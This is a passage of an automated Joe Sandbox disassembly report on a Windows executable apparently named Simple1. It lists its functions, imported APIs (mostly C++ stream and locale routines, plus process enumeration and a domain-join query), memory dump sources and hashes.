Instruction ID: 4e6b1af45fd57733edeb5d85d88e654bb65e74677a67047be40e7ee2ce37d479
Opcode Fuzzy Hash: 0275003dcb37a20596c6dc6a177c6187be1fcbe42ac24130b3cfcc419d978cd0
Instruction Fuzzy Hash: A5917F32A08F8591EB10EF16E8442ADB3A1FB85BA4F954639DE5D077A4DF3CE449C720

Function 00007FF71E3989E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF71E391881), ref: 00007FF71E398A20
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF71E398A3F
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E398A71
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF71E398A8C
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF71E398AB6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF71E398AD3
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF71E398AFA
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z.MSVCP140 ref: 00007FF71E398B21
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF71E398B45

Part of subcall function 00007FF71E399FB0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF71E399FDD
Part of subcall function 00007FF71E399FB0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF71E399FF7
Part of subcall function 00007FF71E399FB0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF71E39A029
Part of subcall function 00007FF71E399FB0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF71E39A054
Part of subcall function 00007FF71E399FB0: std::_Facet_Register.LIBCPMT ref: 00007FF71E39A06D
Part of subcall function 00007FF71E399FB0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF71E39A08C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E398B5A
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF71E398B71
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF71E398BB0

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_istream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@_U_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@W@std@@@std@@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3818078705-0
Opcode ID: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction ID: ac0549be67e5adde825f9778f3443a9a1a7e63b09489fc87ceb50e07cf5a1e15
Opcode Fuzzy Hash: f35c13acc3d87238f3b7b1e58bee0d7e5fa0656072ccc1d0c3963a8712f1ca8d
Instruction Fuzzy Hash: B5512A32608F8596EB009F26E554369B7A0FB85BA5F844039DB8E43B64DF3CF069C720

Function 00007FF71E394390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF71E3943E7

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

K32EnumProcesses.KERNEL32 ref: 00007FF71E394405
memset.VCRUNTIME140 ref: 00007FF71E3944AC
OpenProcess.KERNEL32 ref: 00007FF71E3944BB
K32EnumProcessModules.KERNEL32 ref: 00007FF71E3944DC
K32GetModuleBaseNameA.KERNEL32 ref: 00007FF71E3944FB
CloseHandle.KERNELBASE ref: 00007FF71E394524
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E3945FC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394606

Part of subcall function 00007FF71E39A0C0: memcpy.VCRUNTIME140 ref: 00007FF71E39A0F8

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$EnumProcessmemset$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BaseCloseD@std@@@1@@HandleModuleModulesNameOpenProcessesV?$basic_streambuf@memcpy
String ID:
API String ID: 3444793848-0
Opcode ID: 42b6029e3a9adb14015d90267ca1e11476e9fbeef03a5cae2e6db4e706ef6174
Instruction ID: f68f56a23a37201c4fc7a9238229e0fbc10348bebde3b804c0ce6035b532e949
Opcode Fuzzy Hash: 42b6029e3a9adb14015d90267ca1e11476e9fbeef03a5cae2e6db4e706ef6174
Instruction Fuzzy Hash: 5B717372618F8586EB20EF66D4802ADA3B1FB85B94F84413AEE8D53B54DF3CE549C710

Function 00007FF71E399C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E399C8A
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E399CAA
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E399CBA
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF71E399D07
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF71E399D31
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF71E399D56
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF71E399D9D
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF71E399DA4
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF71E399DB1

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction ID: 838fb416c65c1e6f4a12a1346a5c0bc4b8224de894c534e36d95a9153ab625c4
Opcode Fuzzy Hash: 9340df2d7b22759f6c791cb39ea6ec1440f113354fa38e5be513034bf6c266e4
Instruction Fuzzy Hash: 0A511232609E4281EB21AF1AD5D4239E7E0FB84FA5B59C535DE5E437A0CF3DE44A8710

Function 00007FF71E3999F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399AE6
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B0F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B36
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction ID: 438e540a9770921d152f5a594da05530214b89136305eec9426f59d8fb56bb1b
Opcode Fuzzy Hash: 5814e694fa5f361751dc898f9d5e21bc3f4dd92118ae153b6ae81dfab933b90a
Instruction Fuzzy Hash: D2512132609E4282EB20AF1AD5D0238E7A0FF85FA5F59C535DA5E477A1CF3DE44A8310

Function 00007FF71E39B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B0EB
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B10B
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B11B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B168
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B196
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B1B7
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B1FE
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B205
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF71E391AD2), ref: 00007FF71E39B212

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction ID: 69f88f6f817ce0601c8e93bf5e5a436bea4b28373af0019aa33324293f513917
Opcode Fuzzy Hash: d4daf986c591b3d0968fda3093ef46c4df527e5844f88b62d69c232397f5e4b9
Instruction Fuzzy Hash: 6A511032608E4181EB24AF1AE584239E7A0FF84FA5B95843ADE4F43760CF3DE44AC314

Function 00007FF71E39B96C Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF71E39B995
__scrt_release_startup_lock.LIBCMT ref: 00007FF71E39BA03
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BA51
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BA56
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BA5E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BA66
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BA88
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39BAE2

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction ID: 91715e7b7b42ed9c82333749e8aeb28edc194a27764007e2ffb65183f1cb0fd5
Opcode Fuzzy Hash: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction Fuzzy Hash: 57312C21A0CD4382FA58BB6594553B9A291AF857A4FC4443DEA4E4B2D3DF2DF84C8734

Function 00007FF71E393F60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF71E393FAC

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

NetGetJoinInformation.NETAPI32 ref: 00007FF71E393FC8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E394071
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394143
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E39414D

Strings

Domain: , xrefs: 00007FF71E393FFE

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationJoinV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: Domain:
API String ID: 3601429228-3214134553
Opcode ID: ee745bce1fe4204eeb29a3ebd1b26f5e4d0d6cce49e011f36a3eb2c09d1040a3
Instruction ID: 6e09120f05d5e97be5443f28682c5a92de11064084ab97aeec903037a7c44910
Opcode Fuzzy Hash: ee745bce1fe4204eeb29a3ebd1b26f5e4d0d6cce49e011f36a3eb2c09d1040a3
Instruction Fuzzy Hash: D051C672A18F8581EB10EB65D4802ADF3B1FB84BA4F84413AEA4D53B59DF3CE549C750

Function 00007FF71E399FB0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF71E399FDD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF71E399FF7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF71E39A029
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF71E39A054
std::_Facet_Register.LIBCPMT ref: 00007FF71E39A06D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF71E39A08C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39A0B7

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction ID: 0f5845fb8ad3ec0102369b55ce5662d90a7bc33f3c72705274a3b03304ed1b52
Opcode Fuzzy Hash: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction Fuzzy Hash: AC314422608F4195EF14AF15E444169B7A0FB98FA4F880639EA9D077A9DF3CF459C720

Function 00007FF71E391000 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF71E391011

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF71E391088
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF71E3910AD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF71E3910BD
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF71E3910CC
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF71E3910E0

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction ID: 20d077432075b50ef33ae30008b3241026b86ad5d7ec89c0485b931420deacfc
Opcode Fuzzy Hash: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction Fuzzy Hash: 2041CD32919F42A1EA04EB12E954279B3A5FF99FA0F94413DD94E437A0DF3CB49D8360

Function 00007FF71E396DA0 Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction ID: eb528664c77191ba0ceb2403d6696ee0fca219c92f1321a743b2c10cb558e9e0
Opcode Fuzzy Hash: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction Fuzzy Hash: 87317222B05A8286EA65AF26E5043B9A3A0FB44BE4F884439DF4D47750DF3CF49AD310

Function 00007FF71E39B508 Relevance: 4.5, APIs: 3, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39B538

Part of subcall function 00007FF71E39BCA4: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71E39BCAD
Part of subcall function 00007FF71E39BCA4: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF71E39B53D,?,?,?,00007FF71E39107B), ref: 00007FF71E39BCBE

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39B53E

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: e9edf898c5d7f4dfb26f66c19ba1068749b731ccc14c2137942b5775ec38785b
Instruction ID: 9ea66400b407c6b14ae8aeecfaf56eeae9ba2d244cbe5b196fe3102a45f754c1
Opcode Fuzzy Hash: e9edf898c5d7f4dfb26f66c19ba1068749b731ccc14c2137942b5775ec38785b
Instruction Fuzzy Hash: EFE0E241E0A907A2FE6C72B224560B580A41F193B0EDC1B3CE9BF042C2AF1CF49D8538

Function 00007FF71E399DF0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z.MSVCP140 ref: 00007FF71E399E05
?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z.MSVCP140 ref: 00007FF71E399E11
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E399E1A

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
